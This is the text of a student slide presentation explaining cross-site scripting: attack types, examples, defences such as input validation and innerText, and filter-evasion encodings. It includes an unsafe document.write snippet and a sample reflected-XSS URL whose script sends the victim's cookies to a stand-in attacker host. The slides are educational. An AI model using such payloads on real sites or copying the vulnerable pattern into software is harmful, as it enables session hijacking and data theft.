Cross-Site Scripting

Cross-Site Scripting Group Magyar Wolf Team Members: Brad Stancel, Mark Szarka, And Benjamin Moore

Presentation Overview • Overview • Why it's Important to Study • Affected Languages • Types & Examples of Attacks • Proposed Solutions • Methods used to circumvent XSS prevention • Demo of Online Tutorial • Conclusion and Questions

Overview - What is Cross Site Scripting? • Referred to as XSS • Is a type of code injection that circumvents browser security • Gains unauthorized access to sensitive information • Cookies, Names, Passwords and Other Details • Takes advantage of security vulnerabilities within poorly written code • Can happen anywhere within a site • Potential targets are massive in range • As user web interactivity increases, so does the threat of XSS attacks • Vulnerabilities are primarily user input driven. • Majority of attacks are site-specific - custom built

Reasons Why Studying XSS is Important • Can expose CONFIDENTIALITY of data • Can violate INTEGRITY of data • Can expose holes that affect AVAILABILITY Reasons XSS is increasing: • Explosion in web-based applications • Developers continue writing insecure code • Advent of AJAX applications w/o security knowledge introduces more vulnerabilities • More research done that has exposed more XSS bugs

XSS - Common Attacker Uses • Session HiJacking - stealing the cookie of a victim and impersonating them • Browser HiJacking - replaces or redirects victim's browser to a web page specified by the attacker, or has browser perform certain actions in a web app. • Redirect Form Actions - attackers are able to easily steal information by sending it to their computer as well, oftentimes without the victim's knowledge • Change Appearance of a Web Page - by changing the appearance of a page attackers can lure unsuspecting victims into giving information they would not otherwise share

XSS Affected Languages • Ruby on Rails • Python • PHP • C++ • ASP, ASP.NET • C# • VB.NET • J2EE • Perl • CGI Scripts & Progams

Common Security Concepts On client/browser side commonly violate one of the following: • Same-Origin Policy - Scripts are only able to access properties of windows, documents or cookies that have the same origin as themselves. Possible because a website's host value is located in the DOM tree under the domain attribute. 2. Sandboxing- Scripts have no access to the host system and only limited access to the web browser's properties.

DOM-Based • Attack aimed at a whole website entity • Clients are vulnerable by downloading Hackers HTML package • Often exists within gadgets or widgets • Harmful intent is executed when the DOM environment has been changed in target browser • Client view stays the same for the client because it uses the original client-side script • Can violate 'Sandboxing' of client browser

DOM Based XSS Example • Can occur locally unlike Persistent and Non-Persistent • Implements malicious code inside of DOM element Example: www.site.com/thisstuff.html?name=Shark <Html, body, etc. tags....> <script> stuff = document.URL.indexOf("title=") ; document.write(document.URL.substring(stuff,document.URL.length)); </script> </Html, body, etc. tags....> • Attack is on the Client Side • Attacker controls DOM elements which he wishes to modify; document."property" (URL, location, etc)

Proposed Solutions (DOM) • Verify that JavaScript escapes before data is entered into the HTML • Evaluation of data at different levels of contexts within website • Execution • CSS Attribute • Event Handler • HTML • Example Safe Method: innerText over innerHTML

Non-Persistent • Also known as reflected, or Type 1, attacks. • Temporary attack - not stored locally • Attacks can occur from the victim loading in the harmful package otherwise known as a Uniform Resource Identifier (URI). • Often found in links that victim's click on • Attackers usually obfuscate the code

Non-Persistent XSS Example • Using a 3rd party to receive the package: • Email: A false email could be sent out to all the customers on database • Along with email URL sent out, malicious script is appended at the end. • Ex: www.email.com/yaddayadda.php=somestuff%2%%100%100%100.................<script>window.location.href-'www.badpeopleusethissite.de/Jabbathehut/BobaFett.php=Jedi.cookies</script>

Non-Persistent XSS Attack Visual

Persistent XSS • Attack is stored locally in the server's database. • Display of private data against design of schema • Code injections are hidden amongst normal code tags to display desired info • Malicious code is merged in the system database off of cached commands without proper HTML escaping.

Persistent XSS Attack Visual

Persistent XSS Example • Must be stored into Database • Example: Inventory System - Vulnerabilities within a input box of a website • box.php?id=1, user see this page • Hacker leaves malicious code on site input box in products.php?id=1 • Attack is stored in new comment. Browser processes code hidden in source

XSSProposed Solutions • Input Validation / Filter all foreign data • Use a whitelist approach- Check if info is what you expect, do not check for "bad" input • Use built in functions to help filter data • Tie Session Cookies to the IP address of the user who originally logged in • Use HTML Sanitation tools when letting users use limited HTML markup • Disable Javascript & Cookies if possible (User)

Methods Attackers Use to Circumvent XSS Prevention Transforming tags & mark up language to: • ASCII character codes • Hex Value • Decimal Value • Base64 Value Obfuscate IP address of Attacker's server or victim web app: • Dword Address • Hex Address • Octal Address

Demo/Tutorial Ben will now demo the online tutorial he put together......

In conclusion • XSS is a serious concern that requires attention • Mitigation requires awareness by Developers and Users • Security of code and encapsulation of data needs to be a concern and component of every development project • All input data should be filtered and sanitized • Continuous clearing of cookies and logging out of websites is a good practice

Cross-Site Scripting